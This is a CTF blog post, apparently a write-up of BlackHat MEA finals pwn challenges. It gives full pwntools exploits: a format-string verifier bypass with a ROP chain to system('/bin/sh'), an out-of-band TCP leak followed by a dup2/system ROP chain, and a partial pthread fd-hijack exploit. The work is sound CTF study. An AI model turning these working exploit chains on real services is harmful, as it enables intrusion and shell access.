Nan0inPsyLog

友链🤝|Links

Thu, 01 Jan 2026 00:23:00 +0000

你好这是一个友链模块，欢迎您按如下格式给出友链格式进行交换：

1
2
3
4
5


title: Nan0in # your name
description: discover all and pwn all! Sata Andagi~ # your description for yourselves
website: https://nan0in27.cn/
image: https://nan0in27.cn/img/avatar_hu6679767423305222406.png #最好给出cdn或者网站链接，方便加快加载
note: <这是我给师傅的tag，不用描述>

blackhatMEA_finals_WP

Sun, 07 Dec 2025 08:18:00 +0000

day1

pwn

verifmt

a powerful verifier bro,that’s the Verifmt

analysis

保护全开,glibc2.39环境，题目给了源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79


#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int verify_fmt(const char *fmt, size_t n_args) {
 size_t argcnt = 0;
 size_t len = strlen(fmt);

 for (size_t i = 0; i < len; i++) {
 if (fmt[i] == '%') {
 if (fmt[i+1] == '%') {
 i++;
 continue;
 }

 if (isdigit(fmt[i+1])) {
 puts("[-] Positional argument not supported");
 return 1;
 }

 if (argcnt >= n_args) {
 printf("[-] Cannot use more than %lu specifiers\n", n_args);
 return 1;
 }

 argcnt++;
 }
 }

 return 0;
}

int main() {
 size_t n_args;
 long args[4];
 char fmt[256];

 setbuf(stdin, NULL);
 setbuf(stdout, NULL);

 while (1) {
 /* Get arguments */
 printf("# of args: ");
 if (scanf("%lu", &n_args) != 1) {
 return 1;
 }

 if (n_args > 4) {
 puts("[-] Maximum of 4 arguments supported");
 continue;
 }

 memset(args, 0, sizeof(args));
 for (size_t i = 0; i < n_args; i++) {
 printf("args[%lu]: ", i);
 if (scanf("%ld", args + i) != 1) {
 return 1;
 }
 }

 /* Get format string */
 while (getchar() != '\n');
 printf("Format string: ");
 if (fgets(fmt, sizeof(fmt), stdin) == NULL) {
 return 1;
 }

 /* Verify format string */
 if (verify_fmt(fmt, n_args)) {
 continue;
 }

 /* Enjoy! */
 printf(fmt, args[0], args[1], args[2], args[3]);
 }

 return 0;
}

%后跟数字会直接报错，但是根据

如果我们给出的格式化字符串数量大于给出的4的限制也会直接退出所以要通过*的方式来增加偏移，并且由于是无符号无法向前泄漏

*是一个提取参数的占位符，利用合理的payload,我们就可以合理的占掉args的参数同时仍然保证控制%和读取的参数数量仍然在限定数字内

关于泄漏地址可以参考🚀的博客

最后程序会拆分并打印格式化字符串的内容，最多4个
可以注入\0字符绕过verify，然后用hhn覆盖\0
问题是如果只用%*进行参数弹出我们后面的r9 r10寄存器为nil,format限制的个数也会使得leak的地址是nil，因此我们需要%*c来占取掉6个参数，这样我们最后一个%p便可以打印出栈上地址指针并且据此我们可以写出进行写入的函数write_byte(addr,val):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


def send_payload(n_args, args_list, fmt_str):
 io.sendlineafter(b"# of args: ", str(n_args).encode())
 # 填充 args 数组
 for i in range(n_args):
 io.sendlineafter(f"args[{i}]: ".encode(), str(args_list[i]).encode())
 io.sendlineafter(b"Format string: ", fmt_str)

def write_byte(addr, val):
 """
 使用 %*c%hhn 写入 1 字节
 args[0] = 写入值 (width)
 args[1] = 0 (char)
 args[2] = 目标地址 (pointer)
 """
 # 如果要写入 0x00，必须输出 0x100 (256) 个字符，%hhn 截断为 0x00 from小伞
 if val == 0:
 val = 256

 # args[0] = width/value, args[1] = char, args[2] = pointer
 args_write = [val, 0, addr, 0]

 # 构造 Payload: %*c 消耗 args[0], args[1]； %hhn 消耗 args[2]
 # n_args=3 或 4 均可 (我们用 4)
 send_payload(4, args_write, b"%*c%hhn")

最后写入的时候我们通过泄漏出来的栈指针来指向到返回地址进行写入，因为有while所以有足够的写入机会，只要单字节一个个写入地址即可

exp

不知道为什么就本地docker不能通，明明libc拉的就是容器里的

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167


import argparse
import sys

from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument(
 "mode",
 type=int,
 choices=[0, 1, 2],
 nargs="?",
 default=0,
 help="0=local,1=local+gdb,2=remote",
)
args = parser.parse_args()

filename = "./chall"
libc_name = "./libc.so.6"
arch = "amd64"
remote_addr = "localhost"
remote_port = "13337"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]

def VIO_TEXT(x, code=95):
 return log.info(f"\x1b[{code}m{x}\x1b[0m")

def CLEAR_TEXT(x, code=32):
 return log.success(f"\x1b[{code}m{x}\x1b[0m")

if args.mode == 0:
 io = process(filename)
 print(CLEAR_TEXT("[*] Running on local machine"))
elif args.mode == 1:
 io = process(filename)
 gdb.attach(
 io,
 gdbscript="""
 """,
 )
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename, checksec=False)
if libc_name:
 libc = ELF(libc_name, checksec=False)
else:
 libc=elf.libc


def send_payload(n_args, args_list, fmt_str):
 io.sendlineafter(b"# of args: ", str(n_args).encode())
 # 填充 args 数组
 for i in range(n_args):
 io.sendlineafter(f"args[{i}]: ".encode(), str(args_list[i]).encode())
 io.sendlineafter(b"Format string: ", fmt_str)


def write_byte(addr, val):
 """
 使用 %*c%hhn 写入 1 字节
 args[0] = 写入值 (width)
 args[1] = 0 (char)
 args[2] = 目标地址 (pointer)
 """
 # 如果要写入 0x00，必须输出 0x100 (256) 个字符，%hhn 截断为 0x00 from小伞
 if val == 0:
 val = 256

 # args[0] = width/value, args[1] = char, args[2] = pointer
 args_write = [val, 0, addr, 0]

 # 构造 Payload: %*c 消耗 args[0], args[1]； %hhn 消耗 args[2]
 # n_args=3 或 4 均可 (我们用 4)
 send_payload(4, args_write, b"%*c%hhn")


# Leak Addresses libc and PIE
VIO_TEXT("Sending payload to leak addresses...")

# 1. Leak Stack Address (使用 3个 %*c 跳过 Nil from RocketMadev blog)
# 预期打印 Arg 7 ([RSP+16] 或附近)
args_leak_stack = [3, 0, 0, 0]
fmt_stack = b"AAAA%*c%*c%*c%p"
send_payload(4, args_leak_stack, fmt_stack)
io.recvuntil(b"AAAA")
io.recvuntil(b"0x")
stack_leak = int(io.recvline().strip(), 16)
CLEAR_TEXT(f"Leaked stack address: {hex(stack_leak)}")

# Arb Read
store_pie_addr = stack_leak - 0x20
args_leak_pie = [0, 0, store_pie_addr, 0]
payload_pie = b"B%*c%sEND"
send_payload(4, args_leak_pie, payload_pie)
io.recvuntil(b"B")
raw_leak_pie = io.recvuntil(b"END", drop=True)
raw_leak_pie = raw_leak_pie.lstrip(b"\x00").strip()
raw_leak_pie = u64(raw_leak_pie[:7].ljust(8, b"\x00"))
pie_base = raw_leak_pie - 0x12F6
CLEAR_TEXT(f"Calculated PIE base address: {hex(pie_base)}")

# Leak Libc 
store_libc_addr = stack_leak + 0x170
args_leak_libc = [0, 0, store_libc_addr, 0]
payload_libc = b"B%*c%sEND"
send_payload(4, args_leak_libc, payload_libc)
io.recvuntil(b"B")
raw_leak_libc = io.recvuntil(b"END", drop=True)
raw_leak_libc = raw_leak_libc.lstrip(b"\x00").strip()
raw_leak_libc = u64(raw_leak_libc[:7].ljust(8, b"\x00"))
pause()
libc_base = (
 raw_leak_libc - 0x2718a
) # __libc_start_call_main+122 的偏移,要微调一下
CLEAR_TEXT(f"Calculated Libc base address: {hex(libc_base)}")

# ROP payload
VIO_TEXT("Constructing ROP chain...")

# 计算返回地址位置
OFFSET_TO_RET = 0x170
ret_addr_ptr = stack_leak + OFFSET_TO_RET
CLEAR_TEXT(f"ROP Chain Start Ptr: {hex(ret_addr_ptr)}")

pop_rdi_ret = pie_base + 0x1282
CLEAR_TEXT(f"pop rdi; ret address: {hex(pop_rdi_ret)}")

bin_sh_addr = libc_base + 0x0000000000196031
CLEAR_TEXT(f"/bin/sh address: {hex(bin_sh_addr)}")
system_addr = libc_base + 0x4C330
exit_addr = libc_base + libc.sym["exit"]
ret_addr = pie_base + 0x101A
CLEAR_TEXT(f"system address: {hex(system_addr)}")
ROP_CHAIN = [
 pop_rdi_ret,
 bin_sh_addr,
 ret_addr,
 system_addr,
]
VIO_TEXT("Writing ROP Chain byte-by-byte...")

current_write_ptr = ret_addr_ptr

for addr in ROP_CHAIN:
 for i in range(8):
 byte_to_write = (addr >> (8 * i)) & 0xFF # 对齐用

 # 写入
 write_byte(current_write_ptr + i, byte_to_write)

 # 移动到下一个地址的起始点
 current_write_ptr += 8

CLEAR_TEXT("ROP Chain written successfully.")

VIO_TEXT("Triggering the overwritten return address...")

# pause()
# 发送非数字字符，使 scanf 失败，main 函数 return，触发 ROP 链
io.sendlineafter(b"# of args: ", b"#")

io.interactive()

StackPrelude

一首前奏曲(Prelude)，准备好迎接不可能的栈溢出挑战吧

analysis

对源码进行分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90


#define _GNU_SOURCE
#include <stdio.h> // 标准输入/输出库，用于 perror
#include <stdlib.h> // 标准库，用于 atoi
#include <netinet/in.h> // 包含 sockaddr_in 结构体和 IP 宏定义
#include <sys/socket.h> // 包含 socket, bind, listen, accept 等函数
#include <sys/types.h> // 包含基本系统数据类型
#include <unistd.h> // 包含 close 函数

int main(int argc, char **argv) {
 // 客户端地址结构体 (cli) 和服务器地址结构体 (addr)，用 {0} 初始化为零
 struct sockaddr_in cli, addr = {0};
 socklen_t clen; // 客户端地址结构体的长度
 int cfd; // 客户端文件描述符 (Client File Descriptor)
 int sfd = -1; // 服务器文件描述符 (Server File Descriptor)，-1 表示未初始化或失败
 int yes = 1; // 用于 setsockopt() 设置选项的值 (开启)
 ssize_t n; // 用于存储接收数据的长度或 recv/send 的返回值
 char buf[0x100]; // 栈缓冲区，大小为 256 字节 (0x100)，用于存放客户端发送的数据
 // 解析命令行参数：如果没有参数，默认端口 31337；否则使用第一个参数作为端口号
 unsigned short port = argc < 2 ? 31337 : atoi(argv[1]);

 // 1. 创建 Socket
 // AF_INET: IPv4 地址族；SOCK_STREAM: TCP 协议（流式套接字）；0: 默认协议
 if ((sfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
 perror("socket"); // 输出错误信息
 goto err;
 }

 // 2. 设置 Socket 选项：地址复用
 // SOL_SOCKET: 套接字级别选项；SO_REUSEADDR: 允许重用本地地址，避免 TIME_WAIT 状态导致绑定失败
 // 即使前一个进程在端口上留下了 TIME_WAIT 状态的连接，新进程也能立即启动并重新绑定到该端口，极大地提高了服务器的重启效率。
 if (setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes)) < 0) {
 perror("setsockopt(SO_REUSEADDR)");
 goto err;
 }

 // 3. 填充服务器地址结构体
 addr.sin_family = AF_INET;
 // htonl(): 主机字节序转网络字节序 (32位)，INADDR_ANY: 监听本机所有网络接口 (0.0.0.0)
 addr.sin_addr.s_addr = htonl(INADDR_ANY);
 // htons(): 主机字节序转网络字节序 (16位)，设置监听端口
 addr.sin_port = htons(port);

 // 4. 绑定 IP 地址和端口到 Socket
 if (bind(sfd, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
 perror("bind");
 goto err;
 }

 // 5. 开始监听连接
 // 将 Socket 设为被动模式，准备接受连接；backlog 参数为 1 (等待连接队列的最大长度)
 if (listen(sfd, 1) < 0) {
 perror("listen");
 goto err;
 }

 // 6. 接受客户端连接
 clen = sizeof(cli);
 // 阻塞等待客户端连接。连接成功后，返回新的文件描述符 cfd 用于通信
 if ((cfd = accept(sfd, (struct sockaddr*)&cli, &clen)) < 0) {
 perror("accept");
 goto err;
 }

 // 7. 进入数据处理循环 (Echo Loop)
 while (1) {
 n = 0;
 // 第一阶段接收：接收数据长度 (ssize_t，通常是 8 字节)
 // MSG_WAITALL: 确保接收到指定字节数 (sizeof(ssize_t)) 后才返回
 recv(cfd, &n, sizeof(ssize_t), MSG_WAITALL);

 // 退出条件：
 // n <= 0: 客户端断开连接或发送无效长度
 // n >= 0x200 (512): 长度超限，但注意：
 if (n <= 0 || n >= 0x200)
 break;

 // 第二阶段接收：根据 n 的大小接收数据到缓冲区 buf
 // MSG_WAITALL: 确保接收到 n 个字节后才返回
 recv(cfd, buf, n, MSG_WAITALL);

 send(cfd, buf, n, 0);
 }

 return 0;

err:
 // 错误处理标签：如果程序在任一阶段失败，跳转到这里
 if (sfd >= 0) close(sfd); // 如果 sfd 已经创建成功，则关闭它
 return 1;
}

这一题的关键在于要如何在让远程在能够大量leak数据的情况下仍能继续进行交互，这里所建立的socket服务器一次只能处理一个请求，服务器会再接受到我们发送的数据以后然后send发送回来
可以简单看一下计算机网络
第一种想法是利用TCP协议的半关闭特性，我们在四次挥手的时候首先发送一个客户端的半闭FIN包，此时不是正常关闭连接使得服务器由于MSG_WAITALL返回0从而关闭cfd，但是这种条件下我们要关闭输入的包，即便能leak数据我们也无法继续交互
~~因此只能pass了~~
第二种想法则是利用中断信号。这里使用OOB（OUT-OF-BAND），在send的时候使用urgent byte从而实现服务器端触发SIGURG信号，由于这是一个异步信号，会打断recv函数，而send依然会返回相同长度的数据并且我们仍然可以继续交互！

交互和exp

先讲讲题目如何进行交互调试

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60


parser.add_argument(
 "mode", type=int, choices=[0, 1, 2], nargs="?", default=0,
 help="0=local, 1=local+gdb, 2=remote. (Default: 0)",
)

parser.add_argument(
 "-T", "--threads", type=int, default=None,
 help="Thread count for remote connections (Overrides 'mode')."
)
args = parser.parse_args()
#...
def launch():
 global io, threads
 process_argv=[filename,str(remote_port)]

 # 优先处理多线程模式 (如果 -T 被设置)
 if args.threads is not None:
 if args.threads <= 0:
 raise ValueError("Thread count must be positive.")

 threads = [remote(remote_addr, remote_port, ssl=False) for _ in range(args.threads)]
 CLEAR_TEXT(f"[*] Started {args.threads} remote threads on {remote_addr}:{remote_port}")
 return threads

 elif args.mode == 0:
 io = process(process_argv)
 CLEAR_TEXT("[*] Running on local machine (mode 0)")
 return io

 elif args.mode == 1:
 io = process(process_argv)
 CLEAR_TEXT("[*] Running on local machine with GDB (mode 1)")
 gdb.attach(io, gdbscript="""
 """)
 return io

 elif args.mode == 2:
 io = remote(remote_addr, remote_port)
 CLEAR_TEXT(f"[*] Running on remote: {remote_addr}:{remote_port} (mode 2)")
 return io
 else:
 sys.exit(1)

#...

if __name__ == "__main__":
 target = launch()

 # 判断是否为多线程模式
 if args.threads is not None:
 threads = target
 VIO_TEXT("--- Multi-Threaded Exploit Mode Active ---")
 if threads:
 VIO_TEXT("Entering interactive mode on the first thread for manual control...")
 main(threads)
 else:
 io = target
 VIO_TEXT("--- Single Connection Exploit Mode Active ---")

 io.interactive()

以上是我的脚本，在本地调试的时候首先打开程序和pwndbg并建立一个io ，然后再打开一个新的进程进行连接和交互

1
2


python exp_thread.py 1
python exp_thread.py -T 1

然后就可以在打开了pwndbg的接口进行交互了

具体情况就如图
调试在我们发送数据后打开recv的时候在第二步可以发现如下情况

socket使用fd 4作为固定的交互句柄，如果我们想要在打开shell后进行正常的靶机交互，此处我们还需要尝试使用dup2，将程序交互的fd句柄duplicate到stdout上（或者其他stdin stderr），否则得不到回显，进行的system("/bin/sh")也会直接

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134


import argparse
import sys
from pwn import *
# --------------------------
# 1. 命令行参数定义
# --------------------------
parser = argparse.ArgumentParser(description="Pwn Exploit Script with multi-mode and multi-thread support.")

parser.add_argument(
 "mode", type=int, choices=[0, 1, 2], nargs="?", default=0,
 help="0=local, 1=local+gdb, 2=remote. (Default: 0)",
)
parser.add_argument(
 "-T", "--threads", type=int, default=None,
 help="Thread count for remote connections (Overrides 'mode')."
)
args = parser.parse_args()

# --- 配置信息 ---
filename = "./chall"
libc_name = "./libc.so.6"
arch = "amd64"
remote_addr = "172.23.0.2" #NOTE:这里要注意不能用docker的回环地址 
remote_port = 5000
# remote_addr = "localhost" 
# remote_port = 13337

context(log_level="info", os="linux", arch=arch)

# 仅在 local/gdb 模式下，且没有使用线程模式时设置 terminal
if args.mode < 2 and args.threads is None:
 context.terminal = ["tmux", "splitw", "-h"]

elf = ELF(filename, checksec=False)
if libc_name:
 libc = ELF(libc_name, checksec=False)

def VIO_TEXT(x, code=95):
 return log.info(f"\x1b[{code}m{x}\x1b[0m")

def CLEAR_TEXT(x, code=32):
 return log.success(f"\x1b[{code}m{x}\x1b[0m")

def launch():
 global io, threads
 process_argv=[filename,str(remote_port)]

 # 优先处理多线程模式 (如果 -T 被设置)
 if args.threads is not None:
 if args.threads <= 0:
 raise ValueError("Thread count must be positive.")

 threads = [remote(remote_addr, remote_port, ssl=False) for _ in range(args.threads)]
 CLEAR_TEXT(f"[*] Started {args.threads} remote threads on {remote_addr}:{remote_port}")
 return threads

 elif args.mode == 0:
 io = process(process_argv)
 CLEAR_TEXT("[*] Running on local machine (mode 0)")
 return io

 elif args.mode == 1:
 io = process(process_argv)
 CLEAR_TEXT("[*] Running on local machine with GDB (mode 1)")
 gdb.attach(io, gdbscript="""
 """)
 return io

 elif args.mode == 2:
 io = remote(remote_addr, remote_port,ssl=False)
 CLEAR_TEXT(f"[*] Running on remote: {remote_addr}:{remote_port} (mode 2)")
 return io
 else:
 sys.exit(1)

# 先python 1启动一个终端进行开启进程和gdb调试，然后再在另一个终端进行数据交互
def main(threads):
 t0:tube
 # 使用第一个线程进行交互泄漏和攻击 
 t0 = threads[0]
 t0.sendline(flat(0x180))
 t0.sock.send(b"A" * 2, constants.MSG_OOB)
 # or 
 # with sock.out_of_band():
 # sock.send(b"A" * 2)
 data=t0.recv()

 canary=int.from_bytes(data[0x108:0x110],"little")
 libc.address=int.from_bytes(data[0x118:0x120],"little")-0x2a1ca

 CLEAR_TEXT(f"[*] Leaked Canary: {hex(canary)}")
 CLEAR_TEXT(f"[*] Leaked Libc Base: {hex(libc.address)}")

 t0.sendline(flat(0x188))

 VIO_TEXT("[*] Sending ROP payload...")
 pop_rdi_ret=libc.address+0x000000000010f78b
 pop_rsi_ret=libc.address+0x0000000000110a7d
 ret_addr=libc.address+0x000000000002882f
 payload=flat({
 0x108-1:canary,
 0x118-1:pop_rdi_ret,
 0x120-1:4, #fd 
 0x128-1:pop_rsi_ret, # 0
 0x138-1:libc.sym['dup2'],
 0x140-1:pop_rdi_ret,
 0x148-1:4,
 0x150-1:pop_rsi_ret,
 0x158-1:1,
 0x160-1:libc.sym['dup2'],
 0x168-1:ret_addr,
 0x170-1:pop_rdi_ret,
 0x178-1:libc.search(b"/bin/sh\x00").__next__(),
 0x180-1:libc.sym['system'],
 },filler=b"\x00").ljust(0x188,b"\x00")
 t0.send(payload)
 t0.sendline(p64(0))
 t0.interactive()

if __name__ == "__main__":
 target = launch()

 # 判断是否为多线程模式
 if args.threads is not None:
 threads = target
 VIO_TEXT("--- Multi-Threaded Exploit Mode Active ---")
 if threads:
 VIO_TEXT("Entering interactive mode on the first thread for manual control...")
 main(threads)
 else:
 io = target
 VIO_TEXT("--- Single Connection Exploit Mode Active ---")
 main([io]) # Wrap io in a list to match the threads parameter
 io.interactive()

tips:

需要注意，当我们要与docker靶机进行交互的时候，不能使用回环地址lo而是要使用本机映射的docker内网IP交互，原因在于使用OOB
docker在映射端口的时候，通常在我们的机子上做了两件事：

设置 iptables 规则：将流量从宿主机端口导向 Docker 桥接网络。
启动 docker-proxy 进程：docker-proxy 或类似的组件（如 userland-proxy）在宿主机上运行，监听宿主机端口，并将流量转发到容器的内部 IP 和端口。而如果我们启动回环地址lo，内核发现目标地址是 127.0.0.1，可能会对 TCP 帧进行优化，跳过校验和等。
数据不会像普通流量一样经历应用->传输->网络->链路，而是在网络层被捕获。docker-proxy在处理回环流量不会完整维护TCP帧和Flags，因此导致OOB攻击在设置URG指针的时候由于基于TCP帧标志被优化而失败，触发不到recv的中断而泄漏数据失败，因此我们必须使用Docker的桥接网络接口

day2

pwn

Stack_Impromptu

The world impossible is not in my dictionary

analysis

保护全开
首先审计源码
main.cpp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <pthread.h>

void fatal(const char *msg) {
 perror(msg);
 pthread_exit(NULL);
}

int server_read(int &fd){
 size_t size;
 char buf[0x40];

 memset(buf, 0, sizeof(buf));
 if (read(fd, &size, sizeof(size)) != sizeof(size)
 || size > 0x100
 || read(fd, buf, size) < size)
 goto err;

 write(fd, buf, size);
 return 0;

err:
 close(fd);
 fatal("Could not receive data (read)");
 return 1;
}

void* server_main(void* arg) {
 int fd = (int)((intptr_t)arg);
 while (server_read(fd) == 0);
 return NULL;
}

int main(int argc, char** argv) {
 pthread_t th;
 struct sockaddr_in cli, addr = { 0 };
 socklen_t clen;
 int cfd, sfd = -1, yes = 1;
 unsigned short port = argc < 2 ? 31337 : atoi(argv[1]);

 if ((sfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
 perror("socket");
 goto err;
 }

 if (setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes)) < 0) {
 perror("setsockopt(SO_REUSEADDR)");
 goto err;
 }

 addr.sin_family = AF_INET;
 addr.sin_addr.s_addr = htonl(INADDR_ANY);
 addr.sin_port = htons(port);

 if (bind(sfd, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
 perror("bind");
 goto err;
 }

 if (listen(sfd, 5) < 0) {
 perror("listen");
 goto err;
 }

 while (1) {
 clen = sizeof(cli);
 if ((cfd = accept(sfd, (struct sockaddr*)&cli, &clen)) < 0) {
 perror("accept");
 goto err;
 }

 pthread_create(&th, NULL, server_main, (void*)((intptr_t)cfd));
 pthread_detach(th);
 }

 return 0;

err:
 if (sfd >= 0) close(sfd);
 return 1;
}

当有一个新连接cfd创建的时候，会正常调用pthread_create，并在使用完后就用pthread_detach将其回收
很明显，是一个多线程的挑战，我们不可能直接尝试在一个线程中leak任何内存的内容，关键在于server_main和server_read

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


int server_read(int &fd){
 size_t size;
 char buf[0x40];

 memset(buf, 0, sizeof(buf));
 if (read(fd, &size, sizeof(size)) != sizeof(size)
 || size > 0x100
 || read(fd, buf, size) < size)
 goto err;

 write(fd, buf, size);
 return 0;

err:
 close(fd);
 fatal("Could not receive data (read)");
 return 1;
}

void* server_main(void* arg) {
 int fd = (int)((intptr_t)arg);
 while (server_read(fd) == 0);
 return NULL;
}

server_read有栈溢出并且会不断被调用，但是就像上一题，这一题可没有MSG_WAITALL来让我们使用中断信号leak信息了

pthread多线程，所有线程都会在一个共同的进程空间内运行，并共享全局变量、堆空间、文件描述符。每个线程仅拥有独立的栈（Stack）！

pthread存在脆弱性，由于内存共享，一个线程的溢出可能会篡改到其他线程的数据，进而导致整个进程被控制、崩溃
这道题我在比赛的时候完全没有思路，严格要求输入的格式和数据大小导致不知道如何实现泄漏，AI也只让我尝试能不能用数据去覆盖到其他线程的内存空间，而且多线程调试也没那么简单，主要是要考虑时序上的交互问题
幸运的是比赛后discord里看到个位解的一位师傅的hint:

那么swap fd具体要怎么做..?—>我们不是有pthread吗!
如果我们能通过多线程但是覆盖掉指定线程的fd，实现fd的劫持，那么是否能实现copy fd并重定向输出，最后实现内存信息的泄漏呢？

fd劫持

我们先尝试使用两个线程来查看是否真的可以劫持fd，创建两个线程

在线程栈2中查看栈底，实际空间如上图，我们完全有足够的空间去覆盖fd

由于取出的是[rbp-0x68]处的qword指针，再二次解析到存储的fd,所以我们实际要写入0x7c的0后最后覆盖掉fd

如此一来，最后到close的时候实际关闭的则是进程1的fd了

堵塞的绕过

而因为我们实际关闭的是线程2，实际上再次分配的时候仍然是供给线程2的fd而不是复用的4 所以在尝试leak数据前必须要创建出4个线程，最后才能出现两个线程复用fd的情况

leak

这里需要使用到一个TCP重置攻击的方法
由于我们再次获得到了fd=4，而实际上原本最开始创建的线程仍然没有关闭，因此此时会直接向对方发送一个RST包强制关闭连接，而此时第四个线程会再次接手fd=4（极短时间），相当于实现

tcp恢复连接，而这时候对于建立连接的服务器来说恢复了第一个线程的连接，而又因为我们覆盖掉了线程4的fd=1，因此会将栈上的数据发送到线程4的fd=1上，从而实现leak

ROP

之后要如何利用溢出进行ROP以及如何交互？想法其实类似上文:

创建线程，利用覆盖关闭掉一个fd
再次创建线程，此时我们便可以拿到我们需要的fd以及对应的线程控制权
通过标准输入输出进行交互，因此我们基本获取远程shell

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189


import argparse
import socket
import struct
import time
import sys
from pwn import *

parser = argparse.ArgumentParser(description="Sequential start_conion Exploit")
parser.add_argument(
 "mode",
 choices=["0", "1", "2", "t"],
 nargs="?",
 default="0",
 help="0=local, 1=local+gdb, 2=remote, t=direct process (default:0)",
)
args = parser.parse_args()

filename = "./chall"
libc_name = "./libc.so.6"
arch = "amd64"

def VIO_TEXT(x, code=95):
 return log.info(f"\x1b[{code}m{x}\x1b[0m")

def CLEAR_TEXT(x, code=32):
 return log.success(f"\x1b[{code}m{x}\x1b[0m")

def stop(msg="PAUSE", code=91):
 prompt = f"\n\x1b[1;{code}m{msg}\x1b[0m"
 try:
 return raw_input(prompt)
 except EOFError:
 print("")
 pass

context(log_level="info", os="linux", arch=arch)
if args.mode == "1":
 context.terminal = ["tmux", "splitw", "-h"]

elf = ELF(filename, checksec=False)
if libc_name:
 libc = ELF(libc_name, checksec=False)

def start_con():
 if args.mode in ["0", "t"]:
 return remote("127.0.0.1", 31337)
 else:
 return remote("172.20.0.2", 5000)

def main():
 server_proc = None
 if args.mode in ["1"]:
 server_proc = process(filename)
 # gdb.attach(server_proc, gdbscript="""
 # set follow-fork-mode parent
 # b *(main+428)
 # c
 # """)
 time.sleep(1) # 等待服务端绑定端口
 server_proc.interactive()
 return

 ("--- Starting Sequential Exploit ---")

 # 1. 建立连接并制造竞态/溢出环境
 # [s1] fd=4: 发送长度头，然后挂起
 s1 = start_con()
 time.sleep(0.1)

 # [s2] fd=5: 准备覆盖
 s2 = start_con()

 VIO_TEXT("Sending size header to s1...")
 s1.send(p64(0x100))
 time.sleep(0.25) # 必须等待，确保 s1 的线程进入 read(fd, buf, size) 状态

 VIO_TEXT("Sending payload via s2...")
 s2.send(p64(0x100))
 # s2 发送 payload 覆盖s1的fd
